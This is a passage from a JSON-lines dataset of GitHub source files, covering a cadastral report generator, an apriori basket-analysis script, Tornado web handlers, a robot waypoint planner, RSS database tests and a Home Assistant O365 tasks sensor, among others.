competitors[randLeft]competitors[randRight]:\n if competitors[randLeft]==\"S\" and competitors[randRight]==\"P\":\n temp.append(competitors.pop(randLeft))\n if randLeft randRight:\n competitors.pop(randRight)\n else:\n competitors.pop(randRight-1)\n else:\n temp.append(competitors.pop(randRight))\n if randLeft < randRight:\n competitors.pop(randLeft)\n else:\n competitors.pop(randLeft-1)\n randRange-=2\n\n competitors=temp\n round+=1\n\n servBin=b''\n for i in competitors[0]:\n if i == \"P\":\n servBin+=str(random.randint(0,1)).encode()\n elif i == \"R\":\n servBin+=b'1'\n else:\n servBin+=b'0'\n\n server = int(servBin, 2)\n\n return server%numOfServers\n","repo_name":"primaloptimum/dbth","sub_path":"dbth.py","file_name":"dbth.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35398193271","text":"\"\"\"File to controller functions of the reports module\"\"\"\n\nfrom ..... import db\nfrom .....utils.local import as_complete_date, as_currency, as_percentage, with_decimals\nfrom ..helper import create_pdf, merge_pdf\nfrom ..models.catastral import Catastral, catastral_schema, many_Catastral_Schema\nfrom ..models.dep_solicitante import DepSolicitante\nfrom ..models.municipios import Municipios\n\n\ndef create(data: dict) -> str:\n filename = data[\"filename\"]\n zoom = data[\"zoom\"]\n more_properties = data[\"moreProperties\"]\n watermark = data[\"watermark\"]\n data = get(data)\n data = {\n \"data\": data,\n \"zoom\": zoom,\n \"pageSize\": more_properties[\"pageSize\"],\n \"margins\": more_properties[\"margins\"],\n \"dpi\": more_properties[\"dpi\"],\n \"watermark\": watermark,\n \"filename\": filename,\n }\n return create_pdf(data)\n\n\ndef merge(files: list) -> str:\n \"\"\"Merge all the files in the list\n Args:\n files (list): a list with the files to merge\n Returns:\n str: path of the merged file\n \"\"\"\n return merge_pdf(files)\n\n\ncoordinates = [\"x_utm\", \"y_utm\"]\nservicios = [\n \"agua\",\n \"drenaje\",\n \"energia_electrica\",\n \"telefonia\",\n \"tipo_pavimento\",\n \"alumbrado_publico\",\n \"banqueta\",\n]\n\nmoneda = [\n \"incr_esq_vu\",\n \"incr_esq_valor_parcial\",\n \"valor_total_terreno\",\n \"valor_total_construccion\",\n \"vt_catastral\",\n \"sp1_vu\",\n \"sp2_vu\",\n \"sp3_vu\",\n \"sp4_vu\",\n \"sp1_valor_parcial\",\n \"sp2_valor_parcial\",\n \"sp3_valor_parcial\",\n \"sp4_valor_parcial\",\n \"cna_vu\",\n \"cna_valor_parcial\",\n \"cnb_vu\",\n \"cnb_valor_parcial\",\n \"cnc_vu\",\n \"cnc_valor_parcial\",\n \"cnd_vu\",\n \"cnd_valor_parcial\",\n]\n\ndecimales2 = [\n \"incr_esq_superficie\",\n \"sup_total_construccion\",\n \"cna_superficie\",\n \"cnb_superficie\",\n \"cnc_superficie\",\n \"cnd_superficie\",\n]\n\ndecimales3 = [\n \"sup_total_terreno\",\n \"sp1_superficie\",\n \"sp2_superficie\",\n \"sp3_superficie\",\n \"sp4_superficie\",\n]\n\ntipo = [\"cna_tipo\", \"cnb_tipo\", \"cnc_tipo\", \"cnd_tipo\"]\n\n\ndef check(collection: list, begin: int, end: int, year: int) -> list:\n \"\"\"Check if the records are in the database with the given year\n Args:\n collection (list): a list with the records to check\n begin (int): the first record to check\n end (int): the last record to check\n year (int): the year to check\n Returns:\n list: a list with the records that are in the database\n \"\"\"\n return many_Catastral_Schema.dump(\n Catastral.query.filter(Catastral.estatus != 0)\n .filter(\n Catastral.registro.between(\n f\"{collection}-{begin}_{year}\", f\"{collection}-{end}_{year}\"\n )\n )\n .order_by(Catastral.registro)\n .all()\n )\n\n\ndef get(data: dict) -> list:\n \"\"\"Get the data needed for the report\n Args:\n data: dict with the data needed for the report\n Returns:\n list: a list with the data needed for the report\n \"\"\"\n records = check(\n collection=data[\"collection\"],\n begin=data[\"limits\"][\"min\"],\n end=data[\"limits\"][\"max\"],\n year=data[\"year\"],\n )\n payload = []\n for record in records:\n query = (\n db.session.query(\n Catastral, Municipios.nombre_utf, DepSolicitante.secretaria\n )\n .join(DepSolicitante, Catastral.solicitante == DepSolicitante.descripcion)\n .join(Municipios, Catastral.municipio == Municipios.nombre)\n .filter(Catastral.estatus != 0)\n .filter(Catastral.id == record[\"id\"])\n .first()\n )\n payload.append(format_response(query))\n\n return payload\n\n\ndef concat(item_a: str, item_b: str, item_c: str, item_d: str) -> str:\n \"\"\"Append all items together to create the string description needed for the report\n\n Args:\n item_a (str): some text\n item_b (str): some text\n item_c (str): some text\n item_d (str): some text\n\n Returns:\n str: the concatenated string\n \"\"\"\n text = \"\"\n lista = [\n \"A.\",\n \", B.\",\n \", C.\",\n \", D.\",\n ]\n\n if item_a != \"\":\n text += f\"{lista[0]}{item_a}\"\n lista.pop(0)\n if item_b != \"\":\n text += f\"{lista[0]}{item_b}\"\n lista.pop(0)\n if item_c != \"\":\n text += f\"{lista[0]}{item_c}\"\n lista.pop(0)\n if item_d != \"\":\n text += f\"{lista[0]}{item_d}\"\n lista.pop(0)\n return f\"{text}.\"\n\n\ndef yes_no(item) -> str:\n \"\"\"Convert a boolean to a string\n Args:\n item (bool): a boolean value\n Returns:\n str: a string with the value 'Si' or 'No'\n \"\"\"\n return \"Sí\" if item else \"No\"\n\n\ndef format_response(data: dict) -> dict:\n \"\"\"format the data to be used in the report\n\n Args:\n data (dict): raw data from the database\n\n Returns:\n dict: the formatted data\n \"\"\"\n nombre_utf = data.nombre_utf if data.nombre_utf is not None else \"\"\n secretaria = data.secretaria if data.secretaria is not None else \"\"\n\n try:\n data = many_Catastral_Schema.dump(data.Catastral)\n except Exception as e:\n data = catastral_schema.dump(data.Catastral)\n\n for key, value in data.items():\n if isinstance(value, str):\n data[key] = value.strip() or \"\"\n elif isinstance(value, int):\n data[key] = value or 0\n elif isinstance(value, bool):\n data[key] = value or 0\n else:\n data[key] = value or \"\"\n\n if key in coordinates:\n data[key] = with_decimals(value, 0)\n if key in servicios:\n data[key] = yes_no(value)\n if key in moneda:\n data[key] = as_currency(value)\n if key in decimales2:\n data[key] = with_decimals(value, 2)\n if key in decimales3:\n data[key] = with_decimals(value, 3)\n if key in tipo:\n item = str(value or \"\").split(\"|\")\n data[key] = item[0] if str(value or \"\").find(\"|\") != -1 else \"\"\n data[\"indice_saturacion\"] = as_percentage(data[\"indice_saturacion\"])\n data[\"nombre_utf\"] = nombre_utf\n data[\"secretaria\"] = secretaria\n data[\"muros\"] = concat(\n data[\"muros\"],\n data[\"cnb_muros\"],\n data[\"cnc_muros\"],\n data[\"cnd_muros\"],\n )\n data[\"carpinteria\"] = concat(\n data[\"carpinteria\"],\n data[\"cnb_carpinteria\"],\n data[\"cnc_carpinteria\"],\n data[\"cnd_carpinteria\"],\n )\n data[\"estructura\"] = concat(\n data[\"estructura\"],\n data[\"cnb_estructura\"],\n data[\"cnc_estructura\"],\n data[\"cnd_estructura\"],\n )\n data[\"inst_electrica\"] = concat(\n data[\"inst_electrica\"],\n data[\"cnb_inst_electrica\"],\n data[\"cnc_inst_electrica\"],\n data[\"cnd_inst_electrica\"],\n )\n data[\"entrepisos\"] = concat(\n data[\"entrepisos\"],\n data[\"cnb_entrepisos\"],\n data[\"cnc_entrepisos\"],\n data[\"cnd_entrepisos\"],\n )\n data[\"inst_sanitaria\"] = concat(\n data[\"inst_sanitaria\"],\n data[\"cnb_inst_sanitaria\"],\n data[\"cnc_inst_sanitaria\"],\n data[\"cnd_inst_sanitaria\"],\n )\n data[\"techos\"] = concat(\n data[\"techos\"],\n data[\"cnb_techos\"],\n data[\"cnc_techos\"],\n data[\"cnd_techos\"],\n )\n data[\"inst_especial\"] = concat(\n data[\"inst_especial\"],\n data[\"cnb_inst_especial\"],\n data[\"cnc_inst_especial\"],\n data[\"cnd_inst_especial\"],\n )\n data[\"pisos\"] = concat(\n data[\"pisos\"],\n data[\"cnb_pisos\"],\n data[\"cnc_pisos\"],\n data[\"cnd_pisos\"],\n )\n data[\"acabado_exterior\"] = concat(\n data[\"acabado_exterior\"],\n data[\"cnb_acabado_exterior\"],\n data[\"cnc_acabado_exterior\"],\n data[\"cnd_acabado_exterior\"],\n )\n data[\"puertas\"] = concat(\n data[\"puertas\"],\n data[\"cnb_puertas\"],\n data[\"cnc_puertas\"],\n data[\"cnd_puertas\"],\n )\n data[\"acabado_interior\"] = concat(\n data[\"acabado_interior\"],\n data[\"cnb_acabado_interior\"],\n data[\"cnc_acabado_interior\"],\n data[\"cnd_acabado_interior\"],\n )\n data[\"ventanas\"] = concat(\n data[\"ventanas\"],\n data[\"cnb_ventanas\"],\n data[\"cnc_ventanas\"],\n data[\"cnd_ventanas\"],\n )\n data[\"muebles_sanitarios\"] = concat(\n data[\"muebles_sanitarios\"],\n data[\"cnb_muebles_sanitarios\"],\n data[\"cnc_muebles_sanitarios\"],\n data[\"cnd_muebles_sanitarios\"],\n )\n data[\n \"croquis\"\n ] = f'http://172.31.113.151/reportes_avaluos/imagenes/{data[\"croquis\"]}'\n data[\"foto\"] = f'http://172.31.113.151/reportes_avaluos/imagenes/{data[\"foto\"]}'\n data[\"fecha_emision\"] = as_complete_date(data[\"fecha_emision\"])\n return data\n","repo_name":"Master-Git-Hack/Cadastral","sub_path":"Backend/src/apps/Catastro/Reportes/controllers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8830,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"31987063385","text":"import string\nfrom collections import Counter\nfrom collections import defaultdict\n\nwords = set(string.ascii_uppercase)\nvowels = set(['A','E','I','O','U'])\nconsonants = words - vowels\n\n\nT = int(input())\nfor tc in range(T):\n reverse_dict = defaultdict(list)\n num_vowels = 0\n num_consonants = 0\n tcn = tc + 1\n word = input()\n chars = set(word)\n if len(chars) == 1:\n print(f\"Case #{tcn}:\", 0)\n continue\n for c in chars:\n if c in vowels:\n num_vowels += 1\n else:\n num_consonants += 1\n print(f\"consonants: {num_consonants}, vowels: {num_vowels}\")\n word_counter = Counter(word)\n for w, c in word_counter.items():\n reverse_dict[c].append(w)\n sorted_keys = sorted(reverse_dict.keys(), reverse=True)\n # pick the one that you are not changing.\n print(reverse_dict)\n print(sorted_keys)\n\n","repo_name":"uthcode/learntosolveit","sub_path":"languages/python/fbcup1.py","file_name":"fbcup1.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":161,"dataset":"github-code","pt":"67"} +{"seq_id":"5455830101","text":"from math import pi, sin, sqrt\n\n\nclass Sprite(object):\n\n def __init__(self, location, velocity, direction):\n self.location = location\n self.velocity = velocity\n self.direction = direction\n self.live = True\n\n def update_location(self):\n deg = self.direction * 18\n if deg > 90 and deg < 270:\n y_mod = 1\n else:\n y_mod = -1\n rad = deg * pi / 180.0\n delta_x = self.velocity * sin(rad)\n delta_y = sqrt((self.velocity ** 2) - (delta_x ** 2))\n new_x = int(self.location[0] - delta_x)\n new_y = int(self.location[1] + delta_y * y_mod)\n if new_y > 800:\n new_y -= 800\n if new_y < 0:\n new_y += 800\n if new_x > 800:\n new_x -= 800\n if new_x < 0:\n new_x += 800\n self.location = [new_x, new_y]\n return\n\n def check_distance(self, other):\n return sqrt(((self.location[0] - other.location[0]) ** 2) +\n ((self.location[1] - other.location[1]) ** 2))\n","repo_name":"nickbuker/AsteroidsGame","sub_path":"src/Sprite.py","file_name":"Sprite.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4406910336","text":"import pandas as pd\nfrom mlxtend.frequent_patterns import apriori, association_rules\n\ndf_ = pd.read_excel(\"4.Modül/Projeler/datasets/online_retail_II.xlsx\", sheet_name= \"Year 2010-2011\")\ndf = df_.copy()\ndf.head()\ndf.info()\n\n# post her faturaya eklenen bedel ürünü ifade etmiyor. Datasetten çıkartılıyor.\ndf = df[~(df[\"StockCode\"] == \"POST\")]\n# null değerler drop ediliyor.\ndf.dropna(inplace = True)\n# invoice içerisindeki C iadeyi ifade ediyor. Datasetten çıkartılıyor.\n\ndf = df[~df[\"Invoice\"].str.contains(\"C\", na = False)]\n\n# Price değeri 0'dan küçük olan değerlere bir bakalım\ndf.isnull().sum()\ndf[df[\"Price\"] < 0]\n\n# price ve quantityler eğer uçuk kaçıksa ise baskılıyoruz.\ndf.describe().T\n\ndef outlier_thresholds(dataframe, variable): # OUTLIER HESAPLAMAK İÇİN\n quartile1 = dataframe[variable].quantile(0.01) # EŞİKLER NORMALDE 0.25 ÜZERİNDEN YAPILIRDI NORMALDE PROBLEM BAZINDA UCUNDAN TIRAŞLAMAK İÇİN BÖYLE YAPIYORUZ.\n quartile3 = dataframe[variable].quantile(0.99)\n interquantile_range = quartile3 - quartile1\n up_limit = quartile3 + 1.5 * interquantile_range\n low_limit = quartile1 - 1.5 * interquantile_range\n return low_limit, up_limit # AYKIRI DEĞELERİ BASKILAMAK İÇİN KULLANICAĞIMIZ FONKSYİON\n\n# outlier sınırları ile değerleri değiştiren fonksiyon\ndef replace_with_thresholds(dataframe, variable):\n low_limit, up_limit = outlier_thresholds(dataframe, variable)\n dataframe.loc[(dataframe[variable] < low_limit), variable] = low_limit\n dataframe.loc[(dataframe[variable] > up_limit), variable] = up_limit # AYKIRI DEĞELERİ BASKILAMAK İÇİN KULLANICAĞIMIZ FONKSYİON\n\n# aykırı değerleri baskılıyoruz.\nreplace_with_thresholds(df, \"Quantity\")\nreplace_with_thresholds(df,\"Price\")\n\n# apriori datasetini oluşturmak\ndf.head()\n\ndf = df[df[\"Country\"] == \"Germany\"]\n\ndf.groupby([\"Invoice\",\"Description\"]).agg({\"Quantity\": \"sum\"}).unstack().iloc[0:5,0:5]\n\n# null değerleri 0 ile dolduralım\n\ndata = df.groupby([\"Invoice\",\"Description\"]).agg({\"Quantity\": \"sum\"}).unstack().fillna(0)\n\ndf[\"Country\"].unique()\n\n# datayı apriori nin istediği hale getirmek için\ndef create_invoice_product_df(dataframe, id=False):\n if id:\n return dataframe.groupby(['Invoice', \"StockCode\"])['Quantity'].sum().unstack().fillna(0). \\\n applymap(lambda x: 1 if x > 0 else 0)\n else:\n return dataframe.groupby(['Invoice', 'Description'])['Quantity'].sum().unstack().fillna(0). \\\n applymap(lambda x: 1 if x > 0 else 0)\n\ndata = create_invoice_product_df(df, id = True)\n\n# kuralları oluşturacak fonksyion\n\nfrequent_itemsets = apriori(data, min_support=0.01, use_colnames=True)\nrules = association_rules(frequent_itemsets, metric=\"support\", min_threshold=0.01)\n\nrules.sort_values(by = \"support\", ascending=False)\n# stockcodeu bulabilmek için\ndef check_id(dataframe, stock_code):\n product_name = dataframe[dataframe[\"StockCode\"] == stock_code][[\"Description\"]].values[0].tolist()\n print(product_name)\n\ncheck_id(df, 22326)\n","repo_name":"anilozcan35/DSMLBC8-","sub_path":"4.Modül/Projeler/association_rule_based_system_recommandation.py","file_name":"association_rule_based_system_recommandation.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3302630285","text":"#coding:utf-8\n\nimport tornado.web\nimport torndb\nfrom model.entity import Entity\nfrom model.student import Student\nfrom jinja2 import Environment,PackageLoader\n\ndb=torndb.Connection('127.0.0.1','test',user='root',password='111')\n\nclass MainHandler(tornado.web.RequestHandler):\n def get(self):\n# string = 'wawuee'\n exe = \"insert into mytable (name,sex) values ('kevin','1')\"\n db.execute(exe)\n entity = Entity.get('the5fire\\'s blog')\n self.render('index.html', entity = entity)\n def post(self):\n self.set_header(\"Content-Type\", \"text/plain\")\n print('into it')\n self.write(self.get_argument('strTest' ,default = None, strip=True))\n \nclass TestHandler(tornado.web.RequestHandler):\n def get(self):\n student = Student.get('name')\n self.render('user.html', student = student)\n \nclass StoryHandler(tornado.web.RequestHandler):\n def get(self,story_id):\n self.write('your story' + story_id)\n \nclass StrtestHandler(tornado.web.RequestHandler):\n def post(self):\n self.set_header(\"charset\", \"utf-8\")\n test = self.get_argument('strTest' ,default = None, strip=True)\n self.write('hello'+ '我' + test)\n \nclass JinjaHandler(tornado.web.RequestHandler):\n def get(self):\n template = Template('Hello {{name}}!')\n template.render(name='world')\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ","repo_name":"Web-Kevin/tor_pro","sub_path":"handler/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34060004284","text":"import rospy\n\nimport numpy as np\n\nfrom geometry_msgs.msg import Pose, Point, Quaternion\n\nfrom iiwa_cam.msg import GeneralControl\nfrom iiwa_cam.srv import GeneralExecution, GeneralPlan\n\nwaypoints = [\n \"0.32; 0.027; 0.36; 0.99993; -0.01142; -0.002606; -0.00045451\",\n \"0.626; 0.16; 0.36; 0.99993; -0.01142; -0.002606; -0.00045451\",\n \"0.626; 0.16; 0.05; 0.99993; -0.01142; -0.002606; -0.00045451\",\n \"0.626; 0.003; 0.05; 0.99993; -0.01142; -0.002606; -0.00045451\",\n \"0.626; 0.003; 0.36; 0.99993; -0.01142; -0.002606; -0.00045451\",\n \"0.32; 0.027; 0.36; 0.99993; -0.01142; -0.002606; -0.00045451\",\n]\n\n\ndef get_traj_exec(request):\n rospy.wait_for_service(\"general_execution\")\n\n node = rospy.ServiceProxy(\"general_execution\", GeneralExecution)\n result = node(request)\n\n return result\n\n\ndef get_traj_plan(poses, speed=0.1, stiffness=1000):\n rospy.wait_for_service(\"general_plan\")\n\n request = GeneralControl(\"iiwa_green\", poses, stiffness, speed, True, True)\n\n node = rospy.ServiceProxy(\"general_plan\", GeneralPlan)\n result = node(request)\n\n return result\n\n\ndef generate_poses(waypoints=[]):\n poses = []\n\n for points_str in waypoints:\n points = np.array(points_str.split(\"; \"))\n points = np.asarray(points, float)\n\n pose = Pose(\n Point(points[0], points[1], points[2]),\n Quaternion(\n points[3],\n points[4],\n points[5],\n points[6],\n ),\n )\n\n poses.append(pose)\n\n return poses\n\n\nif __name__ == \"__main__\":\n rospy.init_node(\"waypoints_plan_execute\", anonymous=True)\n\n # gripper_control(pub, pos=255, grasp=False)\n\n poses = generate_poses(waypoints)\n res = get_traj_plan(poses)\n while res.success:\n replan = input(\"replan? [y/n]\")\n if replan == \"y\":\n res = get_traj_plan(poses)\n elif replan == \"n\" or replan == \"\":\n break\n\n if res.success:\n execute = input(\"execute? [y/n]\")\n if execute == \"y\":\n get_traj_exec(res.general_traj)\n","repo_name":"Hantao-Ye/iiwa_cam_single","sub_path":"iiwa_cam/scripts/waypoints_plan_execute.py","file_name":"waypoints_plan_execute.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"10201982780","text":"\"\"\"\n@brief test log(time=2s)\n\"\"\"\nimport os\nimport unittest\nimport datetime\nimport shutil\nfrom pyquickhelper.loghelper import fLOG\nfrom pyrsslocal.rss.rss_database import DatabaseRSS\n\n\nclass TestRSSDatabase (unittest.TestCase):\n\n def test_rss_database_html(self):\n fLOG(\n __file__,\n self._testMethodName,\n OutputPrint=__name__ == \"__main__\")\n path = os.path.abspath(os.path.split(__file__)[0])\n file = os.path.join(path, \"data\", \"database_rss.db3\")\n assert os.path.exists(file)\n\n db = DatabaseRSS(file, LOG=fLOG)\n blogs = list(db.enumerate_blogs())\n fLOG(\"nb\", len(blogs))\n assert len(blogs) == 71\n s = str(blogs[0])\n fLOG(s, blogs[0].id)\n assert len(s) > 0\n s = blogs[0].html()\n fLOG(s)\n assert len(s) > 0\n assert \"href\" in s\n\n posts = list(db.enumerate_posts(blog_selection=[1, 2, 3]))\n fLOG(\"nb\", len(posts))\n assert len(posts) > 0\n ht = posts[0].html()\n assert len(ht) > 0\n\n posts = list(db.enumerate_posts(blog_selection=[]))\n fLOG(\"nb\", len(posts))\n assert len(posts) > 0\n ht = posts[0].html()\n assert len(ht) > 0\n ht = posts[0].html(addcontent=True)\n assert len(ht) > 0\n\n def test_rss_database2(self):\n fLOG(\n __file__,\n self._testMethodName,\n OutputPrint=__name__ == \"__main__\")\n path = os.path.abspath(os.path.split(__file__)[0])\n file = os.path.join(path, \"data\", \"database_rss.db3\")\n assert os.path.exists(file)\n file2 = os.path.join(path, \"temp_data_copy2.db3\")\n shutil.copy(file, file2)\n file = file2\n\n db = DatabaseRSS(file, LOG=fLOG)\n\n db.connect()\n sel = db.execute_view(\"SELECT * FROM posts_stat\")\n db.close()\n assert len(sel) > 0\n\n keys = list(sorted(DatabaseRSS.specific_search.keys()))\n keys.reverse()\n fLOG(keys)\n now = datetime.datetime(2013, 7, 17)\n\n nb = {}\n for specific in keys:\n bl = list(db.enumerate_blogs(specific=specific, now=now))\n nb[specific] = len(bl)\n fLOG(\"**specific\", specific, \":\", len(bl))\n assert len(nb) > 0\n assert nb[\"today\"] <= nb[\"week\"]\n assert nb[\"frequent\"] <= nb[\"notfrequent\"]\n\n def test_rss_database_stat(self):\n fLOG(\n __file__,\n self._testMethodName,\n OutputPrint=__name__ == \"__main__\")\n path = os.path.abspath(os.path.split(__file__)[0])\n file = os.path.join(path, \"data\", \"database_rss.db3\")\n assert os.path.exists(file)\n file2 = os.path.join(path, \"temp_data_copy_stat.db3\")\n shutil.copy(file, file2)\n file = file2\n\n keys = list(sorted(DatabaseRSS.specific_search.keys()))\n keys.reverse()\n fLOG(keys)\n now = datetime.datetime(2013, 7, 17)\n\n db = DatabaseRSS(file, LOG=fLOG)\n\n for specific in keys:\n bl = list(\n db.enumerate_blogs(\n specific=specific,\n now=now,\n addstat=True))\n if len(bl) > 0:\n html = bl[0].html(\"default_stat\")\n assert '' in html\n fLOG(\"**specific\", specific, \":\", len(bl))\n # fLOG(html)\n\n def test_rss_database_status_latest(self):\n fLOG(\n __file__,\n self._testMethodName,\n OutputPrint=__name__ == \"__main__\")\n path = os.path.abspath(os.path.split(__file__)[0])\n file = os.path.join(path, \"data\", \"database_rss.db3\")\n assert os.path.exists(file)\n\n db = DatabaseRSS(file, LOG=fLOG)\n\n posts = list(db.enumerate_posts_status(blog_selection=[1, 2, 3]))\n fLOG(\"nb\", len(posts))\n assert len(posts) > 0\n nb = 0\n for p in posts:\n s = p.html(\"status\")\n fLOG(s)\n if \"interesting\" in s:\n nb += 1\n assert nb > 0\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"sdpython/pyrsslocal","sub_path":"_unittests/ut_rss/test_rss_db.py","file_name":"test_rss_db.py","file_ext":"py","file_size_in_byte":4137,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"29369550738","text":"\"\"\"O365 tasks sensors.\"\"\"\nimport logging\nfrom datetime import datetime, timedelta\n\nimport voluptuous as vol\nfrom homeassistant.components.sensor import SensorEntity\nfrom homeassistant.const import CONF_ENABLED\nfrom homeassistant.util import dt\n\nfrom ..const import (\n ATTR_ALL_TASKS,\n ATTR_COMPLETED,\n ATTR_CREATED,\n ATTR_DATA,\n ATTR_DESCRIPTION,\n ATTR_DUE,\n ATTR_OVERDUE_TASKS,\n ATTR_REMINDER,\n ATTR_SUBJECT,\n ATTR_TASK_ID,\n CONF_ACCOUNT,\n CONF_DUE_HOURS_BACKWARD_TO_GET,\n CONF_DUE_HOURS_FORWARD_TO_GET,\n CONF_SHOW_COMPLETED,\n CONF_TASK_LIST,\n CONF_TODO_SENSORS,\n CONF_TRACK_NEW,\n DATETIME_FORMAT,\n DOMAIN,\n EVENT_COMPLETED_TASK,\n EVENT_DELETE_TASK,\n EVENT_HA_EVENT,\n EVENT_NEW_TASK,\n EVENT_UNCOMPLETED_TASK,\n EVENT_UPDATE_TASK,\n PERM_MINIMUM_TASKS_WRITE,\n PERM_TASKS_READWRITE,\n SENSOR_TODO,\n)\nfrom ..utils.filemgmt import update_task_list_file\nfrom .sensorentity import O365Sensor\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass O365TasksSensor(O365Sensor, SensorEntity):\n \"\"\"O365 Tasks sensor processing.\"\"\"\n\n def __init__(self, coordinator, todo, name, task, config, entity_id, unique_id):\n \"\"\"Initialise the Tasks Sensor.\"\"\"\n super().__init__(coordinator, config, name, entity_id, SENSOR_TODO, unique_id)\n self.todo = todo\n self._show_completed = task.get(CONF_SHOW_COMPLETED)\n\n self.task_last_created = dt.utcnow() - timedelta(minutes=5)\n self.task_last_completed = dt.utcnow() - timedelta(minutes=5)\n self._zero_date = datetime(1, 1, 1, 0, 0, 0, tzinfo=dt.DEFAULT_TIME_ZONE)\n self._state = None\n self._extra_attributes = None\n\n @property\n def icon(self):\n \"\"\"Entity icon.\"\"\"\n return \"mdi:clipboard-check-outline\"\n\n @property\n def native_value(self):\n \"\"\"Sensor state.\"\"\"\n return self._state\n\n @property\n def extra_state_attributes(self):\n \"\"\"Device state attributes.\"\"\"\n return self._extra_attributes\n\n def _handle_coordinator_update(self) -> None:\n tasks = list(self.coordinator.data[self.entity_key][ATTR_DATA])\n self._state = len(tasks)\n self._extra_attributes = self._update_extra_state_attributes(tasks)\n\n task_last_completed = self._zero_date\n task_last_created = self._zero_date\n for task in tasks:\n if task.completed and task.completed > self.task_last_completed:\n self._raise_event_external(\n EVENT_COMPLETED_TASK,\n task.task_id,\n ATTR_COMPLETED,\n task.completed,\n )\n if task.completed > task_last_completed:\n task_last_completed = task.completed\n if task.created and task.created > self.task_last_created:\n self._raise_event_external(\n EVENT_NEW_TASK, task.task_id, ATTR_CREATED, task.created\n )\n if task.created > task_last_created:\n task_last_created = task.created\n\n if task_last_completed > self._zero_date:\n self.task_last_completed = task_last_completed\n if task_last_created > self._zero_date:\n self.task_last_created = task_last_created\n\n self.async_write_ha_state()\n\n def _update_extra_state_attributes(self, tasks):\n \"\"\"Extra state attributes.\"\"\"\n all_tasks = []\n overdue_tasks = []\n for item in tasks:\n task = {ATTR_SUBJECT: item.subject, ATTR_TASK_ID: item.task_id}\n if item.body:\n task[ATTR_DESCRIPTION] = item.body\n if self._show_completed:\n task[ATTR_COMPLETED] = (\n item.completed.strftime(DATETIME_FORMAT)\n if item.completed\n else False\n )\n if item.due:\n due = item.due.date()\n task[ATTR_DUE] = due\n if due < dt.utcnow().date():\n overdue_task = {\n ATTR_SUBJECT: item.subject,\n ATTR_TASK_ID: item.task_id,\n ATTR_DUE: due,\n }\n if item.is_reminder_on:\n overdue_task[ATTR_REMINDER] = item.reminder\n overdue_tasks.append(overdue_task)\n\n if item.is_reminder_on:\n task[ATTR_REMINDER] = item.reminder\n\n all_tasks.append(task)\n\n extra_attributes = {ATTR_ALL_TASKS: all_tasks}\n if overdue_tasks:\n extra_attributes[ATTR_OVERDUE_TASKS] = overdue_tasks\n return extra_attributes\n\n def new_task(self, subject, description=None, due=None, reminder=None):\n \"\"\"Create a new task for this task list.\"\"\"\n if not self._validate_task_permissions():\n return False\n\n new_task = self.todo.new_task()\n self._save_task(new_task, subject, description, due, reminder)\n self._raise_event(EVENT_NEW_TASK, new_task.task_id)\n self.task_last_created = new_task.created\n return True\n\n def update_task(\n self, task_id, subject=None, description=None, due=None, reminder=None\n ):\n \"\"\"Update a task for this task list.\"\"\"\n if not self._validate_task_permissions():\n return False\n\n task = self.todo.get_task(task_id)\n self._save_task(task, subject, description, due, reminder)\n self._raise_event(EVENT_UPDATE_TASK, task_id)\n return True\n\n def delete_task(self, task_id):\n \"\"\"Delete task for this task list.\"\"\"\n if not self._validate_task_permissions():\n return False\n\n task = self.todo.get_task(task_id)\n task.delete()\n self._raise_event(EVENT_DELETE_TASK, task_id)\n return True\n\n def complete_task(self, task_id, completed):\n \"\"\"Complete task for this task list.\"\"\"\n if not self._validate_task_permissions():\n return False\n\n task = self.todo.get_task(task_id)\n if completed:\n self._complete_task(task, task_id)\n else:\n self._uncomplete_task(task, task_id)\n\n return True\n\n def _complete_task(self, task, task_id):\n if task.completed:\n raise vol.Invalid(\"Task is already completed\")\n task.mark_completed()\n task.save()\n self._raise_event(EVENT_COMPLETED_TASK, task_id)\n task = self.todo.get_task(task_id)\n self.task_last_completed = task.completed\n\n def _uncomplete_task(self, task, task_id):\n if not task.completed:\n raise vol.Invalid(\"Task has not been completed previously\")\n task.mark_uncompleted()\n task.save()\n self._raise_event(EVENT_UNCOMPLETED_TASK, task_id)\n\n def _save_task(self, task, subject, description, due, reminder):\n # sourcery skip: raise-from-previous-error\n if subject:\n task.subject = subject\n if description:\n task.body = description\n if due:\n try:\n if len(due) > 10:\n task.due = dt.parse_datetime(due).date()\n else:\n task.due = dt.parse_date(due)\n except ValueError:\n error = f\"Due date {due} is not in valid format YYYY-MM-DD\"\n raise vol.Invalid(error) # pylint: disable=raise-missing-from\n\n if reminder:\n task.reminder = reminder\n\n task.save()\n\n def _raise_event(self, event_type, task_id):\n self.hass.bus.fire(\n f\"{DOMAIN}_{event_type}\",\n {ATTR_TASK_ID: task_id, EVENT_HA_EVENT: True},\n )\n _LOGGER.debug(\"%s - %s\", event_type, task_id)\n\n def _raise_event_external(self, event_type, task_id, time_type, task_datetime):\n self.hass.bus.fire(\n f\"{DOMAIN}_{event_type}\",\n {ATTR_TASK_ID: task_id, time_type: task_datetime, EVENT_HA_EVENT: False},\n )\n _LOGGER.debug(\"%s - %s - %s\", event_type, task_id, task_datetime)\n\n def _validate_task_permissions(self):\n return self._validate_permissions(\n PERM_MINIMUM_TASKS_WRITE,\n f\"Not authorised to create new task - requires permission: {PERM_TASKS_READWRITE}\",\n )\n\n\ndef build_todo_query(key, todo):\n \"\"\"Build query for ToDo.\"\"\"\n task = 